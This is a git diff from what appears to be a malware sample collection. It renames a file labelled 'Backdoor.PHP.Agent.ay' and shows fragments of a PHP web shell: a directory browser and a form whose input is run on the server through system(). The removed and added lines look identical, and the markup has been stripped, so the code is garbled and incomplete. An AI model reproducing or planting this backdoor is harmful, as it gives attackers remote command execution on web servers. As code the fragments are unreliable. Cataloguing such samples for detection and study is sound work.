diff --git a/PHP/Backdoor.PHP.Agent.ay b/PHP/Backdoor.PHP.Agent.MartinGeisler similarity index 76% rename from PHP/Backdoor.PHP.Agent.ay rename to PHP/Backdoor.PHP.Agent.MartinGeisler index 900048c5..247f596c 100644 --- a/PHP/Backdoor.PHP.Agent.ay +++ b/PHP/Backdoor.PHP.Agent.MartinGeisler @@ -1,6 +1,6 @@ @@ -88,15 +88,15 @@ $work_dir = exec(

Current working directory: Root/´; +echo ´Root/´; if (!empty($work_dir_splitted[0])) { -$path = ´´; +$path = ´´; for ($i = 0; $i < count($work_dir_splitted); $i++) { -$path .= ´/´ . $work_dir_splitted[$i]; -printf(´%s/´, +$path .= ´/´ . $work_dir_splitted[$i]; +printf(´%s/´, $PHP_SELF, urlencode($path), $work_dir_splitted[$i]); } } @@ -110,15 +110,15 @@ $dir_handle = opendir($work_dir); /* Run through all the files and directories to find the dirs. */ while ($dir = readdir($dir_handle)) { if (is_dir($dir)) { -if ($dir == ´.´) { +if ($dir == ´.´) { echo " "; -} elseif ($dir == ´..´) { +} elseif ($dir == ´..´) { /* We have found the parent dir. We must be carefull if the parent directory is the root directory (/). */ if (strlen($work_dir) == 1) { -/* work_dir is only 1 charecter - it can only be / There´s no +/* work_dir is only 1 charecter - it can only be / There´s no parent directory then. */ -} elseif (strrpos($work_dir, ´/´) == 0) { +} elseif (strrpos($work_dir, ´/´) == 0) { /* The last / in work_dir were the first charecter. This means that we have a top-level directory eg. /bin or /home etc... */ @@ -129,7 +129,7 @@ directory... Trust me - it works :-) */ echo " "; } } else { -if ($work_dir == ´/´) { +if ($work_dir == ´/´) { echo " "; } else { echo " "; @@ -152,12 +152,12 @@ closedir($dir_handle); $tmpfile 2>&1; " . "cat $tmpfile; rm $tmpfile"; -} else if ($command == ´ls´) { -/* ls looks much better with ´ -F´, IMHO. */ -$command .= ´ -F´; +} else if ($command == ´ls´) { +/* ls looks much better with ´ -F´, IMHO. */ +$command .= ´ -F´; } system($command); } @@ -171,7 +171,7 @@ document.forms[0].command.focus();


-Copyright © 2004–2005, Copyright © 2004–2005,